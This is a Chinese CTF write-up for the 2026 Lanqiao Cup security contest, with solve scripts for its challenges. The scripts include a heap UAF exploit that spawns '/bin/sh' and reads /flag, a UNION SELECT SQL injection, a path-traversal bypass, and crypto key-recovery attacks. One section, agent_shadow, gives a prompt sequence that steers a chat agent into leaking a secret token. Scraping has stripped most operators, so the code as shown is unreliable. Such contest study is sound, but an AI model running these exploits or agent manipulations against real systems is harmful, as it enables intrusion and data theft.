当前位置: 首页 > article >正文

2026年第十七届蓝桥杯网络安全赛项WriteUp

解题情况比赛还剩一小时左右时截图题型情报收集题目名map_tracer查看js源码得到信息访问/app.js可以得到app.js.map文件用记事本打开可以得到关键信息接口/api/trace/internal/list签名值trace_dev_2026签名算法function buildSignature(path, ts) { return md5(${path}${ts}${SIGN_SALT}); }整体思路就是确定签名拼接规则与固定盐值,使用 Python 获取当前时间戳按照规则拼接字符串并进行MD5加密生成合法 sign拼接带ts、sign参数的请求URL发送 GET请求访问目标接口解析返回JSON提取remark字段内容对Base64字符串解码输出拿到FLAGimport time import hashlib import base64 import requests INTERNAL_ENDPOINT /api/trace/internal/list SIGN_SALT trace_dev_2026 URL IP:端口 # 生成签名 def buildSignature(path, ts): raw_str f{path}{ts}{SIGN_SALT} return hashlib.md5(raw_str.encode()).hexdigest() def main(): # 获取当前时间戳 ts str(int(time.time())) # 生成合法签名 sign buildSignature(INTERNAL_ENDPOINT, ts) # 拼接请求URL target_url f{URL}{INTERNAL_ENDPOINT}?ts{ts}sign{sign} try: # 发送GET请求 res requests.get(target_url, timeout10) res.raise_for_status() # 解析JSON响应 data res.json() # 提取base64加密的flag b64_flag data[tracks][0][remark] # base64解码得到真实flag real_flag base64.b64decode(b64_flag).decode() print([] FLAG:, real_flag) except Exception as e: print([-] 错误:, e) if __name__ __main__: main()FLAG值动态题型数据分析题目名wal_recover将app.db-wal文件放到随波逐流里得到ZmxhZ3tkNGZi]进行base64解码是一部分的flag用记事本再打开该文件搜索flag头在哪个位置可以看到还有其他的base64编码观察到flag头的时间是最早的就可以根据时间对这些base64进行拼接再解码得到ZmxhZ3tkNGZiZTdkNy04YWY4LTQ1MjMtOTgzZi01ODA1NTA2ZGIyNmV9解码得到flagflag{d4fbe7d7-8af8-4523-983f-5805506db26e}题目名drift_oracle根据txt文件给了提示对csv文件中的监测序列拟合一条线性趋势并扣除得到残差从280号样本后观察残差会发现异常点周期性出现周期为3将这些周期异常点按照正负、高低残差还原成bit前16bit解析0000000000101010 42说明payload长度是42字节继续读取后续 42 * 8 336 bit按8bit一组转ASCII即可得到flag#!/usr/bin/env python3 import csv import string CSV monitor.csv START_HINT 280 PERIOD 3 # read data xs, ys [], [] with open(CSV, newline) as f: for row in csv.DictReader(f): xs.append(float(row[idx])) ys.append(float(row[value])) n len(xs) # linear calibration: y a*x b sx sum(xs) sy sum(ys) sxx sum(x * x for x in xs) sxy sum(x * y for x, y in zip(xs, ys)) a (n * sxy - sx * sy) / (n * sxx - sx * sx) b (sy - a * sx) / n res [y - (a * x b) for x, y in zip(xs, ys)] # find anomaly phase modulo PERIOD after sample 280 best_phase None best_score -1 for phase in range(PERIOD): vals [ abs(res[i]) for i in range(len(res)) if i START_HINT and i % PERIOD phase ] vals.sort(reverseTrue) score sum(vals[:80]) / 80 if score best_score: best_score score best_phase phase idxs [i for i in range(len(res)) if i START_HINT and i % PERIOD best_phase] def bits_to_bytes(bits): out [] for i in range(0, len(bits), 8): byte bits[i:i8] if len(byte) 8: break out.append(int(.join(map(str, byte)), 2)) return bytes(out) def printable(bs): return all(chr(c) in string.printable for c in bs) for invert in [False, True]: bits [] for i in idxs: bit 1 if res[i] 0 else 0 if invert: bit ^ 1 bits.append(bit) length int(.join(map(str, bits[:16])), 2) # big endian payload_bits bits[16:16 length * 8] payload bits_to_bytes(payload_bits) if length 0 and printable(payload): print([] phase:, best_phase) print([] invert:, invert) print([] length:, length) print([] payload:, payload.decode(errorsignore))FLAG值flag{a91b0bbf-e6fd-42dd-b9a6-5ef4f2bc695f}题型密码破解题目名seed_receipt先根据生成脚本复现随机数流程再用receipt里的时间戳、订单号和密文反推出明文flag依据是generator.py的掩码由ts ^ order_id种子生成且会先消耗6位校验码随机数receipt.txt给出了对应参数和密文。import random ts 1715071200 order_id 2024042701 cipher bytes.fromhex( 246a346dc207c5508810015b1a727ca2050e17490903ae3f91988ac56020c90e4e937d9240c03a2e723a ) seed ts ^ order_id random.seed(seed) # 先消耗 6 次 randint(0, 9)对应 build_check_code check_code .join(str(random.randint(0, 9)) for _ in range(6)) print(check_code , check_code) # 再生成 mask 解密 mask bytes(random.randint(0, 255) for _ in range(len(cipher))) flag bytes(c ^ m for c, m in zip(cipher, mask)) print(flag.decode())FLAG值flag{44ba9b4f-b616-4d2f-b0f1-44a144b79b6e}题目名double_sign连接容器观察题目参数两组签名r一致判定存在ECDSA随机数k重用漏洞。利用过程对两条已知消息做SHA256哈希转换为大整数 z1、z2同时计算目标管理员消息哈希利用两组s值与哈希值通过代数公式消去私钥推导出随机数的模逆代入公式计算出目标消息的合法签名分量import hashlib n 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 z1 35803318665405666032048798908400774075259419311739592886871963585749689690594 z2 39793284188129639924973014131124626058788493396861207842790576967009843273958 s1 50299823274630071383103819756925571651617257809878759631948693535171140512049 s2 55520076861554262741677107652353499562906081920501068121345625361837220482936 r 58206291912047493001270768302978838281743794200134829962960013685718525623357 target_msg broleadminactionread_flag z_target int.from_bytes(hashlib.sha256(target_msg).digest(), big) def inv(a, m): return pow(a, -1, m) k_inv ((s1 - s2) * inv((z1 - z2) % n, n)) % n s_target (s1 k_inv * (z_target - z1)) % n s_target % n # Ensure 0 s n if s_target 0: s_target 1 print(fr {r}) print(fs {s_target}) print()得到r和s输入到容器上即可得到flagFLAG值动态题目名faulty_stamp先根据给出的task.py判断故障签名的攻击面再用output.txt的参数恢复私钥并解密cipherfrom math import gcd n 4376391623420422090093125321247193997606178746835986896757980039875406307457754575765912346918411063231436257346706147995337640299058377914239903698206529 e 65537 s_good 1215462546937178480989928955032329371876376937587696844835636102409613045816885299683930703380803778980920223250158896812933428862730662189869680440962991 s_fault 3528092528175974455947733812329818046193185775378825376160301555808018696615021261487903570154559785404162102106766399756539357297019413781923298085052060 cipher 2893682879964766743522320790449865549540632243943763005715261841817782270701768093468232119779163352459853082410444548419721052039891196401139541267716111 p gcd(s_good - s_fault, n) q n // p phi (p-1)*(q-1) d pow(e, -1, phi) plain_int pow(cipher, d, n) hex_str hex(plain_int)[2:] flag bytes.fromhex(hex_str).decode(ascii) print(*50) print([] 解密得到的十进制数字, plain_int) print([] 转换16进制, hex_str) print(\n[] FLAG是 flag ) print(*50)FLAG值flag{6148be08-c5ad-4dd8-9878-27894628e8cc}题型逆向分析题目名veil_gate通过panel.dat中TPK2后的 4 字节密文与固定值5aa56c3d逐字节异或解密得到关键参数seed0x26、key20x5f、key_len0x10、flag_len0x2638 位核心算法为 rol8 循环移位 S 盒替换 多段异或 / 加法 位置置换逆向算法即可还原 flagfrom pathlib import Path def rol8(x, n): n 7 return ((x n) | (x (8 - n))) 0xff p Path(panel.dat).read_bytes() hdr bytes(a ^ b for a, b in zip(p[4:8], bytes.fromhex(5aa56c3d))) seed, k2, key_len, flag_len hdr A p[8:32] B p[32:160] C p[160:288] D p[288:352] T p[352:416] key [] x seed for i, v in enumerate(A): key.append((((i 3) * 7 0x33) ^ (v ^ x)) 0xff) x (x 0xb) 0xff sbox [0] * 256 for i in range(128): sbox[2 * i] B[i] ^ key[i % key_len] sbox[2 * i 1] C[i] ^ key[(i 5) % key_len] inv [0] * 256 for i, v in enumerate(sbox): inv[v] i stream [] for i in range(64): stream.append((D[i] ^ ((i 0x5d) 0xff) ^ key[(3 * i 1) % key_len]) 0xff) n flag_len tmp [0] * n edi int.from_bytes(hdr[:2], little) edi ((edi 8) | (edi 8)) 0xffff r8 3 r9 1 for i in range(n): cl T[i] idx (edi i stream[i]) % key_len want (cl - rol8(edi 0xff, i) - i) 0xff tmp[i] inv[want] ^ key[idx] edi (edi * 0x83) 0xffffffff edi ^ stream[r8 % n] r8 7 edi (key[r9 % key_len] ((cl ^ edi) 0xffffffff)) 0xffffffff r9 5 used [0] * 64 for i in range(n): used[stream[i] % n] 1 flag [0] * n for i in range(n): t tmp[i] if not used[i]: t ^ (k2 i) 0xff pos stream[i] % n v ((t - rol8(seed, i)) 0xff) ^ key[(pos i) % key_len] if i % 2 0: v rol8(v, 4) flag[pos] v print(bytes(flag).decode())FLAG值flag{9d7a228ca5825bc15cd60bee0bb6d585}题型漏洞挖掘分析题目名path_slip1.目录别名绕过服务器目录配置存在缺陷常规../路径穿越被拦截使用/assets../meta/可跨目录访问同级/meta资源2.获取基础参数访问/assets/readme.txt从响应头X-Mirror-Rail提取参数spacecards、截取范围window6:18会话持久化保留sidCookie3.动态文件枚举固定标签knock、dance、salt、route、echo文件名算法sha256(sid|label|cards).hexdigest()[6:18] .txt拼接绕过路径批量读取 meta 目录下加密卡片文件4.特殊请求获取凭证向/oracle发送HEAD请求携带请求头X-Knock: hush响应头获取X-Trace。5.Slot 换位处理截取X-Trace前 8 位两两字符交换拼接得到 slot 值。6.Token 哈希计算加密规则sha256(sid.X-Trace.slip_route_v3).hexdigest()[:16]7.最终链路拿 Flag访问/stage/{slot}/pose?tokenxxx获取响应头X-Ticket-Hint携带 Hint 请求/vault/{slot}/pass?tokenxxx最终获取 Flagimport hashlib import requests import re import warnings warnings.filterwarnings(ignore) # 关闭SSL警告 URL IP:端口 # 会话保持Cookie s requests.Session() s.verify False # 1. 获取sid s.get(URL) # 2. 读取readme提取space和window resp s.get(URL /assets/readme.txt) rail resp.headers.get(X-Mirror-Rail) match re.search(rspace([^;]);window(\d):(\d), rail) space, start, end match[1], int(match[2]), int(match[3]) sid s.cookies[sid] # 3. 读取5张卡片 labels [knock, dance, salt, route, echo] for label in labels: data f{sid}|{label}|{space} fname hashlib.sha256(data.encode()).hexdigest()[start:end] .txt s.get(URL f/assets../meta/{fname}) # 4. HEAD请求/oracle获取X-Trace req requests.Request(HEAD, URL /oracle, headers{X-Knock: hush}) trace s.send(s.prepare_request(req)).headers.get(X-Trace) # 5. 前8位两两交换得到slot tb list(trace[:8]) for i in range(0,8,2): tb[i], tb[i1] tb[i1], tb[i] slot .join(tb) # 6. 计算token token_raw f{sid}.{trace}.slip_route_v3 token hashlib.sha256(token_raw.encode()).hexdigest()[:16] # 7. 获取ticket hint hint s.get(URL f/stage/{slot}/pose?token{token}).headers.get(X-Ticket-Hint) # 8. 拿flag flag s.get(URL f/vault/{slot}/pass?token{token}, headers{X-Ticket-Hint: hint}).text print([] Flag:, flag)FLAG值动态题目名note_heap这是一道UAF的堆题根据main函数可以看到主动泄露了地址printf(debug slot: %p\n, ops); printf(ops chunk: %p\n, ops);保护全开根据关键泄露程序启动直接打印 ops 结构体地址利用思路触发 UAF 篡改 fastbin 的 fd 指针指向 ops-0x10 伪造堆块重新申请堆块分配到 ops 结构体通过 show 读取 ops 中 free 地址计算 libc 基址和 system 地址覆盖 ops 中函数指针为 system传入 /bin/sh 触发执行getshell 读 flag#!/usr/bin/env python3 from pwn import * HOST IP PORT 端口 FREE_OFF 0x97910 SYSTEM_OFF 0x4f420 context.binary ./note_heap context.arch amd64 context.log_level info io remote(HOST, PORT) io.recvuntil(bdebug slot: ) debug_slot int(io.recvline().strip(), 16) io.recvuntil(bops chunk: ) ops int(io.recvline().strip(), 16) io.recvuntil(b ) log.success(fdebug_slot {hex(debug_slot)}) log.success(fops {hex(ops)}) sizes {} ptrs {} def add(idx, size, data): sizes[idx] size io.sendline(b1) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) io.recvuntil(bsize: ) io.sendline(str(size).encode()) ptr int(io.recvline().strip().split(b: )[1], 16) ptrs[idx] ptr io.recvuntil(bdata: ) io.send(data) io.recvuntil(b ) return ptr def edit(idx, data): io.sendline(b2) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) io.recvuntil(bdata: ) io.send(data) io.recvuntil(b ) def show(idx): io.sendline(b3) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) data io.recvn(sizes[idx]) io.recvn(1) io.recvuntil(b ) return data def delete(idx): io.sendline(b4) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) io.recvuntil(bdone\n) io.recvuntil(b ) def trigger(idx): io.sendline(b4) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) victim add(0, 0x68, bA*8) log.info(fvictim {hex(victim)}) delete(0) edit(0, p64(ops - 0x10)) add(1, 0x68, bB*8) fake add(2, 0x68, bZ*8) log.success(ffake {hex(fake)}) leak show(2) free_leak u64(leak[0x18:0x20]) libc_base free_leak - FREE_OFF system libc_base SYSTEM_OFF log.success(ffree_leak {hex(free_leak)}) log.success(flibc_base {hex(libc_base)}) log.success(fsystem {hex(system)}) edit(2, bA*0x10 p64(0) p64(system)) add(3, 0x20, b/bin/sh\x00) trigger(3) io.sendline(bid; cat /flag 2/dev/null; cat /root/flag 2/dev/null; echo DONE) print(io.recvuntil(bDONE, timeout3).decode(latin-1, ignore)) io.interactive()FLAG值动态题型数据库安全题目名report_archive思路就是提交联合查询注入 Payload读取系统配置表 system_kv 数据触发后台生成报表任务等待任务完成下载 CSV 格式报表从报表数据中正则匹配提取 flag方法利用 UNION SELECT 绕过原查询直接查询存储敏感信息的系统配置表将结果写入报表#!/usr/bin/env python3 import csv import io import re import sys import time import requests import urllib3 # 关闭SSL不安全请求警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 目标地址 TARGET_URL FLAG_PATTERN re.compile(r(?:flag)\{.*?\}, re.I) # 保存注入规则 def save_rule(session, rule): res session.post(f{TARGET_URL}/report/save, data{rule: rule}, timeout(5, 10)) res.raise_for_status() return res.json()[rule_id] # 提交生成报表任务 def run_report(session): res session.post(f{TARGET_URL}/report/run, timeout(5, 10)) res.raise_for_status() return res.json()[job_id] # 等待任务执行完成 def wait_job(session, job_id, max_times20, wait_time0.7): for _ in range(max_times): time.sleep(wait_time) res session.get(f{TARGET_URL}/report/status, params{id: job_id}, timeout(5, 10)) res.raise_for_status() data res.json() status data.get(status) if status ready: return data[export_id] # 任务完成返回文件ID if status failed: raise RuntimeError(f任务执行失败{job_id}) raise TimeoutError(任务超时) # 下载CSV报表文件 def download_csv(session, export_id): res session.get(f{TARGET_URL}/report/download, params{id: export_id}, timeout(5, 10)) res.raise_for_status() return res.text # 解析CSV内容 def parse_csv(csv_content): reader csv.DictReader(io.StringIO(csv_content)) return list(reader) # 核心攻击流程 def attack(payload): session requests.Session() session.verify False # 不验证SSL证书 # 1. 保存注入Payload rule_id save_rule(session, payload) # 2. 触发报表生成 job_id run_report(session) # 3. 等待任务完成 export_id wait_job(session, job_id) # 4. 下载结果文件 csv_content download_csv(session, export_id) # 5. 解析数据 data_rows parse_csv(csv_content) return rule_id, job_id, export_id, data_rows, csv_content def main(): # SQL注入Payload查询系统配置表 system_kv sql_payload 10) UNION SELECT id,config_key||:||config_value,1 FROM system_kv-- print(f[] 目标地址{TARGET_URL}) print(f[] 注入语句{sql_payload}) # 执行攻击 rule_id, job_id, export_id, data_rows, csv_content attack(sql_payload) print(f[] 规则ID{rule_id}) print(f[] 任务ID{job_id}) print(f[] 文件ID{export_id}) print([] CSV结果) print(csv_content.rstrip()) # 匹配flag all_text \n.join(,.join(row.values()) for row in data_rows) flag FLAG_PATTERN.search(all_text) if not flag: print([-] 未找到flag) sys.exit(1) print(f[] 成功获取flag{flag.group(0)}) if __name__ __main__: main()FLAG值动态题型AI安全题目名agent_shadow提供/chat接口采用POSTJSON传参通过传入指定message指令触发后端逻辑流程强依赖执行顺序。利用步骤1.发送指令search: bridge token缓存桥接授权令牌 2.发送指令plan: process audit_token task创建审计任务 3.发送指令Please process audit_token task.执行任务。最终接口返回数据的reply字段即为 Flag。import time import logging from typing import Dict, Any, Optional import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry BASE_URL IP:端口 MAX_RETRY 5 TIMEOUT 15 RETRY_DELAY 1 # 日志配置 logging.basicConfig( levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s, datefmt%Y-%m-%d %H:%M:%S ) logger logging.getLogger(__name__) class ChatClient: API 请求客户端 def __init__(self, base_url: str, max_retries: int 5, timeout: int 15): self.base_url base_url.rstrip(/) self.timeout timeout self.session self._create_session(max_retries) def _create_session(self, max_retries: int) - requests.Session: # 创建带重试的会话 session requests.Session() session.trust_env False retry_strategy Retry( totalmax_retries, backoff_factorRETRY_DELAY, status_forcelist[429, 500, 502, 503, 504], allowed_methods[POST] ) adapter HTTPAdapter(max_retriesretry_strategy) session.mount(http://, adapter) session.mount(https://, adapter) requests.packages.urllib3.disable_warnings() return session def send_message(self, message: str) - Dict[str, Any]: # 发送聊天指令 url f{self.base_url}/chat payload {message: message} for attempt in range(1, MAX_RETRY 1): try: logger.info(f发送消息: {message}) resp self.session.post( url, jsonpayload, timeoutself.timeout, verifyFalse ) resp.raise_for_status() data resp.json() logger.info(f响应: {data}) return data except requests.RequestException as exc: logger.warning(f第 {attempt}/{MAX_RETRY} 次请求失败: {exc}) if attempt MAX_RETRY: logger.error(f消息发送失败: {message}) raise RuntimeError(请求重试失败) from exc time.sleep(RETRY_DELAY) raise RuntimeError(send_message 执行异常) def close(self): self.session.close() class TaskExecutor: 任务执行器 def __init__(self, client: ChatClient): self.client client def cache_bridge_token(self) - Dict[str, Any]: # 步骤1缓存令牌 return self.client.send_message(search: bridge token) def generate_audit_plan(self) - Dict[str, Any]: # 步骤2生成审计计划 return self.client.send_message(plan: process audit_token task) def process_audit_task(self) - Optional[str]: # 步骤3执行任务获取FLAG res self.client.send_message(Please process audit_token task.) return res.get(reply, 未获取到FLAG) def main() - None: logger.info(开始获取FLAG...) try: client ChatClient(BASE_URL, MAX_RETRY, TIMEOUT) executor TaskExecutor(client) logger.info(步骤1缓存令牌) executor.cache_bridge_token() logger.info(步骤2生成审计计划) executor.generate_audit_plan() logger.info(步骤3执行审计任务) flag executor.process_audit_task() logger.info( * 50) logger.info(f成功获取FLAG: {flag}) logger.info( * 50) except Exception as exc: logger.error(f任务失败: {exc}, exc_infoTrue) raise finally: if client in locals(): client.close() logger.info(会话已关闭) if __name__ __main__: main()FLAG值动态

相关文章:

2026年第十七届蓝桥杯网络安全赛项WriteUp

解题情况比赛还剩一小时左右时截图题型:情报收集题目名:map_tracer查看js源码得到信息,访问/app.js可以得到app.js.map文件用记事本打开,可以得到关键信息接口:/api/trace/internal/list签名值:trace_dev_2…...

认知战分析MCP服务器:数学模型驱动的信息对抗与叙事操控检测

1. 认知战与心理战分析:一个面向AI代理的MCP服务器深度解析在信息过载的时代,识别、分析和应对有组织的叙事操控,正成为从国家安全到企业品牌管理的核心挑战。传统的社会聆听工具只能告诉你“有多少人在讨论”,却无法回答“这是否…...

开源网盘直链解析技术方案:八大平台高效下载实现原理

开源网盘直链解析技术方案:八大平台高效下载实现原理 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云…...

八大网盘直链解析工具:告别限速,轻松获取真实下载地址

八大网盘直链解析工具:告别限速,轻松获取真实下载地址 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动…...

【Docker WASM边缘部署终极指南】:20年架构师亲授5大避坑法则与3个生产级优化技巧

更多请点击: https://intelliparadigm.com 第一章:Docker WASM边缘部署的核心价值与适用边界 为什么WASM正在重塑边缘容器范式 WebAssembly(WASM)以其沙箱安全、跨平台二进制可移植性及毫秒级冷启动能力,成为Docker在…...

动态加载JavaScript小部件的正确姿势

在现代网页开发中,动态加载JavaScript小部件是非常常见的需求,特别是在需要根据用户行为或URL参数来定制小部件内容时。今天我们来探讨一下如何正确地实现这一点。 背景介绍 假设我们有一个小部件,它可以通过特定的参数(如clientI…...

5分钟掌握Nintendo Switch游戏转储神器:NxDumpTool完整指南

5分钟掌握Nintendo Switch游戏转储神器:NxDumpTool完整指南 【免费下载链接】nxdumptool Generates XCI/NSP/HFS0/ExeFS/RomFS/Certificate/Ticket dumps from Nintendo Switch gamecards and installed SD/eMMC titles. 项目地址: https://gitcode.com/gh_mirror…...

Hotkey Detective:如何3分钟精准定位Windows热键冲突的终极指南

Hotkey Detective:如何3分钟精准定位Windows热键冲突的终极指南 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective …...

TFT Overlay:3分钟快速上手的终极云顶之弈智能决策辅助工具完全指南

TFT Overlay:3分钟快速上手的终极云顶之弈智能决策辅助工具完全指南 【免费下载链接】TFT-Overlay Overlay for Teamfight Tactics 项目地址: https://gitcode.com/gh_mirrors/tf/TFT-Overlay 你是否在玩《英雄联盟:云顶之弈》时经常手忙脚乱&…...

在Windows上安装Android应用:APK-Installer让跨平台应用管理变得简单

在Windows上安装Android应用:APK-Installer让跨平台应用管理变得简单 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经想过在Windows电脑上直接运…...

ArchivePasswordTestTool:基于7zip引擎的高效压缩包密码自动化测试工具

ArchivePasswordTestTool:基于7zip引擎的高效压缩包密码自动化测试工具 【免费下载链接】ArchivePasswordTestTool 利用7zip测试压缩包的功能 对加密压缩包进行自动化测试密码 项目地址: https://gitcode.com/gh_mirrors/ar/ArchivePasswordTestTool 在数字资…...

Java+AI<初学者入门>

今天是我学习Java的第一天,因为我之前学过一段时间的C语言,所以看到视频教程里教学内容是输出hello world,我想起了我刚学c的时候有些怅然,我还是闲话少说,看一下我的学习成果吧。今天首先我先下载了Java25和Java idea…...

通达信缠论可视化分析插件:5分钟掌握专业级量化分析技术

通达信缠论可视化分析插件:5分钟掌握专业级量化分析技术 【免费下载链接】Indicator 通达信缠论可视化分析插件 项目地址: https://gitcode.com/gh_mirrors/ind/Indicator 还在为复杂的缠论分析而困扰吗?想要快速识别市场中枢结构却无从下手&…...

告别ImageNet预训练:用DINO-v2自监督ViT,在自定义数据集上也能训出好模型

突破数据瓶颈:DINO-v2自监督ViT在垂直领域的实战指南 当医学影像分析遇到标注数据不足,当工业质检缺乏足够样本,传统依赖ImageNet预训练的方法往往捉襟见肘。DINO-v2的出现,为这些垂直领域带来了新的曙光——无需海量标注数据&…...

别再折腾了!手把手教你用USB-RNDIS给FM350-GL模块手动配IP上网(附串口指令大全)

FM350-GL模块USB-RNDIS网络配置全解析:从原理到实战 当你把FM350-GL模块通过USB-RNDIS连接到Windows电脑,看到网络适配器显示"已连接"却无法上网时,那种挫败感我深有体会。这不是简单的驱动问题,而是隐藏在自动配置背后…...

滚动增长:在亚马逊,如何用“分步击破”的耐心策略建立品牌帝国

拥有充足资金,能在亚马逊全球所有站点、所有品类全面发力推广新品的公司寥寥无几。但这恰恰是绝大多数卖家的常态。因此,明智的策略不是盲目追求全面开花,而是像历史上的成功品牌一样,耐心地找到一个可守的“滩头阵地”&#xff0…...

深度拆解大模型Agent规划能力,从原理到落地全面升级智能体长程执行效果

在人工智能技术飞速迭代的当下,大语言模型驱动的智能Agent已经成为行业落地的核心方向,无论是办公自动化,复杂工具调用,多步骤业务处理还是代码工程落地,Agent都在逐步替代重复性人工操作,成为降本增效的关…...

终极英雄联盟助手:5大核心功能快速提升你的游戏水平

终极英雄联盟助手:5大核心功能快速提升你的游戏水平 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 英雄联盟Akari助手是一款基于L…...

魔兽争霸3兼容性工具终极指南:简单三步解决所有现代系统问题

魔兽争霸3兼容性工具终极指南:简单三步解决所有现代系统问题 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为魔兽争霸3在现代电脑上…...

别再傻傻分不清!ROS中joint_state_publisher和robot_state_publisher到底谁管谁?

ROS中joint_state_publisher与robot_state_publisher的权威解析:从原理到实战排查指南 在机器人操作系统(ROS)的建模与仿真中,joint_state_publisher和robot_state_publisher这两个节点就像一对形影不离却又各司其职的搭档。许多初…...

手把手教你用PyQtGraph+PyQt5/PySide6打造一个实验室级数据监控仪表盘

用PyQtGraphPyQt5构建工业级数据监控系统的全栈指南 实验室和工业环境中,数据可视化监控系统正从专业软件向Python技术栈迁移。PyQtGraph作为性能标杆,配合PyQt5/PySide6的界面框架,能构建出媲美LabVIEW的定制化解决方案。本文将完整呈现从架…...

回望过往,细数主流国产AI大模型旧款,做一番系统性对比分析

以下为对主流国产AI大模型的系统性对比分析,严格依据技术架构、实测性能、落地能力与商业化成熟度四大维度展开,整合权威测评数据与工程实践反馈,覆盖文心一言、通义千问、星火认知、盘古、混元、智谱GLM、DeepSeek、Kimi、豆包、WPS AI共10款…...

ZoteroDuplicatesMerger:5分钟彻底清理文献库重复条目的完整解决方案

ZoteroDuplicatesMerger:5分钟彻底清理文献库重复条目的完整解决方案 【免费下载链接】ZoteroDuplicatesMerger A zotero plugin to automatically merge duplicate items 项目地址: https://gitcode.com/gh_mirrors/zo/ZoteroDuplicatesMerger 还在为Zotero…...

从‘双K模型’到‘三点共线’:一个齐次化技巧如何串起解析几何的隐藏逻辑链

从‘双K模型’到‘三点共线’:解析几何中的齐次化思维革命 解析几何的魅力在于它用代数工具揭示几何图形的内在规律。当我们面对椭圆、双曲线等二次曲线问题时,常常陷入繁琐计算的泥潭。但有一种被称为"齐次化"的技巧,不仅能简化计…...

DDrawCompat完整教程:让老旧游戏在现代Windows上重获新生的终极解决方案

DDrawCompat完整教程:让老旧游戏在现代Windows上重获新生的终极解决方案 【免费下载链接】DDrawCompat DirectDraw and Direct3D 1-7 compatibility, performance and visual enhancements for Windows Vista, 7, 8, 10 and 11 项目地址: https://gitcode.com/gh_…...

3步搞定网易云音乐NCM文件解密:ncmdumpGUI完整使用指南

3步搞定网易云音乐NCM文件解密:ncmdumpGUI完整使用指南 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换,Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 你是否遇到过这样的困扰?在网易…...

蓝桥杯嵌入式备赛:用STM32CubeMX和Keil搞定按键消抖的三种实战方法(附完整代码)

蓝桥杯嵌入式备赛:STM32按键消抖三大方案深度评测与代码实战 在嵌入式系统开发中,按键处理看似简单实则暗藏玄机。特别是在蓝桥杯嵌入式竞赛这类对稳定性和效率要求极高的场景中,一个可靠的按键处理方案往往能决定项目的成败。本文将带你深入…...

告别纯软加密:手把手在S32K144上实战CSEc模块的AES-128与CMAC

嵌入式硬件加密实战:S32K144 CSEc模块的AES-128与CMAC深度解析 在物联网设备爆发式增长的今天,嵌入式系统的安全性已成为开发者无法回避的核心议题。传统纯软件加密方案虽然实现简单,但面临密钥泄露风险高、性能瓶颈明显等固有缺陷。NXP S32K…...

终极指南:如何让E7Helper为你的《第七史诗》24小时自动刷资源

终极指南:如何让E7Helper为你的《第七史诗》24小时自动刷资源 【免费下载链接】e7Helper 【Epic Seven Auto Bot】第七史诗多功能覆盖脚本(刷书签🍃,挂讨伐、后记、祭坛✌️,挂JJC等📛,多服务器支持&#x…...

5分钟搞定PowerToys中文版:让Windows效率工具说你的语言

5分钟搞定PowerToys中文版:让Windows效率工具说你的语言 【免费下载链接】PowerToys-CN PowerToys Simplified Chinese Translation 微软增强工具箱 自制汉化 项目地址: https://gitcode.com/gh_mirrors/po/PowerToys-CN 你是不是也曾经面对PowerToys强大的功…...